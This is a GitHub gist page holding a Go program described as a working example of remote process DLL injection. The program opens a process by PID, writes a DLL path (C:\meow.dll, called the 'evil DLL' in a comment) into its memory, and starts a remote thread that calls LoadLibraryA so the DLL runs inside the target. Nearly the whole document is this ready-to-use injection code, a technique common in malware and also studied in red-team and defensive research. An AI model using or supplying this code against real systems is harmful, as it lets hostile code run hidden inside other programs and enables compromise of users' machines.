Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save playniuniu/22d2be64c33793846472d925366ed930 to your computer and use it in GitHub Desktop.

Select an option

Save playniuniu/22d2be64c33793846472d925366ed930 to your computer and use it in GitHub Desktop.
GoLang. Working example of remote process DLL injection.
package main
import (
"fmt"
"os"
"strconv"
"syscall"
"unsafe"
)
const (
FALSE = 0
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_OPERATION = 0x0008
PROCESS_CREATE_THREAD = 0x0002
PAGE_EXECUTE_READWRITE = 0x40
PAGE_READ_WRITE = 0x00000004
MEM_RESERVE = 0x00002000
MEM_COMMIT = 0x00001000
MEM_RELEASE = 0x8000
PROCESS_ALL_ACCESS = PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD
)
var (
targetDll = "C:\\meow.dll"
dllLength = len(targetDll)
kernel32 = syscall.NewLazyDLL("kernel32.dll")
loadLibraryA = kernel32.NewProc("LoadLibraryA")
openProcess = kernel32.NewProc("OpenProcess")
writeProcessMemory = kernel32.NewProc("WriteProcessMemory")
createRemoteThread = kernel32.NewProc("CreateRemoteThread")
closeHandle = kernel32.NewProc("CloseHandle")
virtualAllocEx = kernel32.NewProc("VirtualAllocEx")
virtualFreeEx = kernel32.NewProc("VirtualFreeEx")
)
func main() {
// parse process ID
if len(os.Args) < 2 {
fmt.Println("PID not found :( exiting...")
return
}
pid, err := strconv.Atoi(os.Args[1])
if err != nil {
fmt.Println("Invalid PID:", os.Args[1])
return
}
fmt.Printf("PID: %d\n", pid)
// open process
ph, op2, err := openProcess.Call(PROCESS_ALL_ACCESS, FALSE, uintptr(pid))
if err != nil {
fmt.Println("Results of openProcess:", err)
}
if ph == 0 {
fmt.Println("Failed to open process")
return
}
fmt.Println("Process handle:", ph)
fmt.Println(op2)
defer closeHandle.Call(ph)
rb, va2, err := virtualAllocEx.Call(
uintptr(ph),
0,
uintptr(uintptr(dllLength)),
uintptr(MEM_RESERVE|MEM_COMMIT),
uintptr(PAGE_READ_WRITE),
)
if err != nil {
fmt.Println("Results of virtualAllocEx:", err)
}
if rb == 0 {
fmt.Println("Failed to allocate memory")
return
}
fmt.Println(rb)
fmt.Println(va2)
defer virtualFreeEx.Call(rb, 0, MEM_RELEASE)
// copy evil DLL between processes
dllPtr, err := syscall.BytePtrFromString(targetDll)
wp1, wp2, err := writeProcessMemory.Call(ph, rb, uintptr(unsafe.Pointer(dllPtr)), uintptr(dllLength), 0)
if err != nil {
fmt.Println("Results of writeProcessMemory:", err)
}
fmt.Println(wp1)
fmt.Println(wp2)
// start new thread
crt1, crt2, err := createRemoteThread.Call(
ph,
0,
0,
uintptr(loadLibraryA.Addr()),
rb,
0,
0,
)
if err != nil {
fmt.Println("Results of createRemoteThread:", err)
}
fmt.Println(crt1)
fmt.Println(crt2)
// This will keep the golang script alive... if thats what you want.
// wfso, err := syscall.WaitForSingleObject(syscall.Handle(crt1), syscall.INFINITE)
// if err != nil {
// fmt.Println("Results of WaitForSingleObject", err)
// }
// fmt.Println(wfso)
fmt.Println("\n--- Additional Logging ---")
fmt.Println("targetDll:", targetDll)
fmt.Println("dllLength:", dllLength)
fmt.Println("dllPtr:", dllPtr)
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment